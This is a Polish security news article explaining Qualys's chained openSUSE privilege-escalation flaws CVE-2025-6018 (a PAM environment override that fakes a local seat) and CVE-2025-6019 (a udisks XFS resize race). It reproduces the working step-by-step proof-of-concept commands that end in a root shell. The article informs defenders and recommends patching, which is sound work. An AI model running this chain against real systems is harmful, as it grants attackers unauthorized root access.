Mega Sekurak Hacking Party w Krakowie! 20.10.2025 r. Bilety -30%

Kolejne podatności w sudo, tym razem moduły uwierzytelniania PAM

16 lipca 2025, 02:34 | W biegu | 0 komentarzy

O tym, że sudo (czytane su-du) to krytyczny komponent systemu operacyjnego, z punktu widzenia nie tylko użyteczności ale przede wszystkim – bezpieczeństwa, przekonywaliśmy nie raz. Ostatnio opisywaliśmy ciekawe podatności dotyczące przełączników –host oraz –chroot. Tym razem, przyjrzymy się dwóm podatnościom z kategorii błędów logicznych – CVE-2025-6018 oraz CVE-2025-6019. Luki zostały odnalezione i opisane przez zespół bezpieczeństwa Qualysa, który nie pierwszy raz gości na łamach sekuraka. Dzięki połączeniu (z ang. chaining) tych dwóch podatności, możliwe jest podniesienie uprawnień do użytkownika root. 

TLDR:

  • Qualys Threat Research Unit (TRU) odnalazł dwie podatności, które połączone pozwalają w prosty sposób podnieść uprawnienia do poziomu root w systemach z rodziny OpenSUSE 15. 
  • Wektorem ataku są biblioteki PAM, które pozwalają na poszerzenie uprawnień zdalnego użytkownika przez wykorzystanie polityki polikit (allow_active), zarezerwowanej dla użytkowników lokalnych, fizycznie znajdujących się przy komputerze (CVE-2025-6018). To z kolei pozwala wykorzystać nieatomową operację zmiany rozmiaru systemu plików, atakujący jest w stanie wygrać wyścig i uruchomić przygotowaną przez siebie SUID binary.

Podatność dotyka dystrybucji OpenSUSE Leap 15 oraz OpenSUSE Enterprise 15, a wszystkiemu winna jest implementacja dołączanych modułów uwierzytelniania (ang. Pluggable Authentication Modules – w skrócie PAM). PAM to modułowy mechanizm uwierzytelniania, który pozwala kompatybilnym aplikacjom korzystać z niskopoziomowych funkcji bez konieczności ich reimplementacji. Dzięki tej technice, kompatybilne aplikacje będą mogły odpytywać system o kwestie związane z uwierzytelnianiem kont, sesjami użytkowników, etc. API PAM poinformuje aplikacje czy może dokonać określonej akcji. Rozwiązanie jest bardzo wygodne dla programistów, ponieważ unifikuje rozwiązanie problemu. Z drugiej strony, podatności dotykające tych modułów, mogą mieć kluczowy wpływ na bezpieczeństwo systemu. 

CVE-2025-6018

Pierwsza podatność pozwala użytkownikowi zdalnemu (np. atakującemu, który uzyskał zdalną sesję poprzez SSH), oszukać system w taki sposób, aby przedstawić się jak użytkownik lokalny, tj. taki który siedzi przed monitorem. A to umożliwia skorzystanie z uprawnień opisanych jako “allow_active” w politykach polkita. Lokalny użytkownik jest w stanie np. montować systemy plików (np. podpinane nośniki USB) lub dokonać ponownego uruchomienia systemu. 

W uwierzytelnianiu użytkownika udział bierze moduł pam_env, który odczytuje zmienne środowiskowe z pliku ~/.pam_environment (jeśli aktywne jest ustawienie user_readenv). Następnie dopiero później wywoływany jest moduł pam_systemd, która rejestruje sesje użytkownika. 

Atakujący (nieuprzywilejowany użytkownik) zdalny (logujący się przez ssh), wpisując odpowiednią konfigurację do ~/.pam_environment, zmusza system do załadowania zmiennych środowiskowych XDG_SEAT oraz XDG_VTNR, które wskażą systemowi, że siedzi on przed monitorem komputera. Sprytne, prawda?

Przedstawiony przez badaczy PoC pokazuje, że manipulacja zmiennymi środowiskowymi powoduje, że polkit zezwoli na akcję ponownego uruchomienia systemu (CanReboot() zwróci yes, zamiast challenge).

attacker# ssh -i id_ed25519 nobody@victim

victim> grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="openSUSE Leap 15.6"

victim> id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

victim> cat /usr/share/polkit-1/actions/org.freedesktop.login1.policy
...
        <action id="org.freedesktop.login1.reboot">
                <description gettext-domain="systemd">Reboot the system</description>
...
                        <allow_any>auth_admin_keep</allow_any>
                        <allow_inactive>auth_admin_keep</allow_inactive>
                        <allow_active>yes</allow_active>
...

victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
('challenge',)

victim> { echo 'XDG_SEAT OVERRIDE=seat0'; echo 'XDG_VTNR OVERRIDE=1'; } > .pam_environment

victim> exit

attacker# ssh -i id_ed25519 nobody@victim

victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
('yes',)

Listing 1. PoC prezentujący jak oszukać system, aby zezwolił na wykonywanie akcji zarezerwowanych dla użytkowników lokalnych (źródło) [odpowiedź “challenge” w wolnym tłumaczeniu oznacza, że użytkownik nie może podjąć danego kroku, chyba że wykona dodatkowy interaktywny krok – challenge] 

Jak wskazuje Qualys, sposób działania pam_env w systemach z rodziny Debian/Ubuntu wygląda podobnie. Z jedną różnicą – odczytanie zmiennych środowiskowych z ~/.pam_environment ma miejsce, ale są one ustawiane dopiero po ustanowieniu sesji i dodatkowe zmienne nie wpływają na funkcję pam_sm_open_session()*

Sposobem na poprawę zachowania, jest usunięcie user_readenv z pam_env, o czym mówi najnowsze wydanie manuala:

Obrazek 1. Manual pam_env

CVE-2025-6019

Poprzednia podatność, tak naprawdę niewiele wnosi sama – wymagany jest jeszcze jeden krok do uzyskania sesji superużytkownika. Tutaj w sukurs przychodzi podatność oznaczona jako CVE-2025-6019 dotykająca demona udisk. Chyba każdy pentester (a ponieważ nie lubimy szastać wielkimi kwantyfikatorami, to stwierdzimy, że również pokaźna część pasjonatów ogólno pojętego bezpieczeństwa komputerowego) słyszał o technice podniesienia uprawnień przez SUID binary, w tym wykorzystanie kroku (ang. primitive) np. stworzenia własnej kopii basha z zapalonym SUID bitem, który umożliwia uruchomienie sesji superużytkownika. 

Jak allow_active i SUID mają się do podniesienia uprawnień? Wnikliwy Czytelnik pewnie już się domyśla, dokąd zmierza ta historia. Lokalny użytkownik może np. podmontować filesystem (np. z nośnika USB). Aby zabezpieczyć system przed trywialnym podniesieniem uprawnień przez przygotowanie własnego FS z binariami z SUID, operacja podmontowywania wykorzystuje flagi nosuid oraz nodev. Oczywiście można próbować zmusić system do porzucenia tych flag, jednak okazuje się, że operacja mount bez nosuid oraz nodev jest już wykonywana – w procesie zmiany rozmiaru (operacja resize) systemu plików XFS. Operacja ta powoduje, że libblockdev montuje tymczasowo system plików w /tmp i dokonuje zmiany rozmiaru, aby następnie dokonać operacji odmontowania. 

Uzytkownik z “allow_active” może więc przygotować obraz z systemem plików XFS i umieścić na nim binarkę SUID-root. Teraz trzeba tylko wygrać wyścig – po podmontowaniu bez flag nosuid oraz nodev. Jeśli proces odmontowania nie będzie mógł się zakończyć, to atakujący zdąży wykonać swoją binarkę z uprawnieniami lokalnego superużytkownika. Piękne, nieprawdaż? Wykorzystanie tej luki wymaga kilku prostych kroków. 

Krok 1 – przygotowanie systemu plików:

attacker# dd if=/dev/zero of=./xfs.image bs=1M count=300

attacker# mkfs.xfs ./xfs.image

attacker# mkdir ./xfs.mount

attacker# mount -t xfs ./xfs.image ./xfs.mount

attacker# cp /bin/bash ./xfs.mount

attacker# chmod 04555 ./xfs.mount/bash

attacker# umount ./xfs.mount

attacker# scp -i id_ed25519 ./xfs.image nobody@victim:

Listing 2. Stworzenie obrazu xfs z bashem oraz transfer do systemu docelowego (źródło)

Krok 2 – przygotowanie środowiska do ataku (np. przy pomocy CVE-2025-6018)

attacker# ssh -i id_ed25519 nobody@victim

victim> grep PRETTY_NAME= /etc/os-release
PRETTY_NAME="openSUSE Leap 15.6"

victim> id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

victim> gdbus call --system --dest org.freedesktop.login1 --object-path /org/freedesktop/login1 --method org.freedesktop.login1.Manager.CanReboot
('yes',)

Listing 3. Docelowa konfiguracja atakowanego środowiska (źródło)

Krok 3 – przygotowanie loop device z obrazu XFS

victim> killall -KILL gvfs-udisks2-volume-monitor

victim> udisksctl loop-setup --file ./xfs.image --no-user-interaction
Mapped file ./xfs.image as /dev/loop0.

Listing 4. Mapowanie obrazu xfs jako /dev/loop0 (źródło)

Krok 4 – atak – polecenie zmiany rozmiaru systemu plików, poprzedzone wykonaniem pętli, która uniemożliwi odmontowanie urządzenia, dając czas atakującemu na wykonanie SUID binary.

victim> while true; do /tmp/blockdev*/bash -c 'sleep 10; ls -l /tmp/blockdev*/bash' && break; done 2>/dev/null &

victim> gdbus call --system --dest org.freedesktop.UDisks2 --object-path /org/freedesktop/UDisks2/block_devices/loop0 --method org.freedesktop.UDisks2.Filesystem.Resize 0 '{}'
Error: GDBus.Error:org.freedesktop.UDisks2.Error.Failed: Error resizing filesystem on /dev/loop0: Failed to unmount '/dev/loop0' after resizing it: target is busy

-r-sr-xr-x. 1 root root 1406608 May 13 09:42 /tmp/blockdev.RSM842/bash

Listing 5. Montowanie obrazu oraz pętla blokująca jego “odpięcie” (źródło)

Krok 5 – uruchomienie basha z effective UID=0 

victim> mount
...
/dev/loop0 on /tmp/blockdev.RSM842 type xfs (rw,relatime,attr2,inode64,logbufs=8,logbsize=32k,noquota)

victim> /tmp/blockdev*/bash -p

victim# id
uid=65534(nobody) gid=65534(nobody) euid=0(root) groups=65534(nobody)

Listing 6. Finalna część ataku, uruchomienie procesu roota (źródło)

Reasumując, badacze Qualysa znaleźli naprawdę kreatywną technikę na podniesienie uprawnień do roota, z wykorzystaniem błędów logicznych (np. kolejności wykonywanych kroków przez biblioteki PAM). To pokazuje, jak kluczowe jest – nie tylko audyt poszczególnych operacji wykonywanych przez krytyczne z punktu widzenia bezpieczeństwa elementy systemu, ale przede wszystkim odgórne spojrzenie na cały przepływ sterowania. Coś, czego na razie LLMy nie zmieszczą w swoich kontekstach, a jeśli już zmieszczą, to koszty utrzymania takiej infrastruktury będą… spore :) 

Jak zwykle zalecamy aktualizację kluczowych komponentów systemu, podatności zostały już załatane. Badaczom gratulujemy ciekawych podatności i przyznajemy dodatkowe punkty za styl – za advisory napisane tak jak hakerzy powinni się komunikować – bez nadmiaru JSa i CSSa. 

* W podlinkowanym advisory zauważono możliwość zmiany stanu sesji użytkownika na closing w systemach z rodziny Debian/Ubuntu. Na ten moment nie udało się wykorzystać tego do dalszej eksploitacji, jednak Qualys zachęca do spróbowania swoich sił w badaniu tego zachowania. Tak więc nieprawdziwe jest stwierdzenie, że zmienne środowiskowe nie mają żadnego wpływu (patrz XDG_SESSION_ID) 

~Black Hat Logan

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

Odpowiedz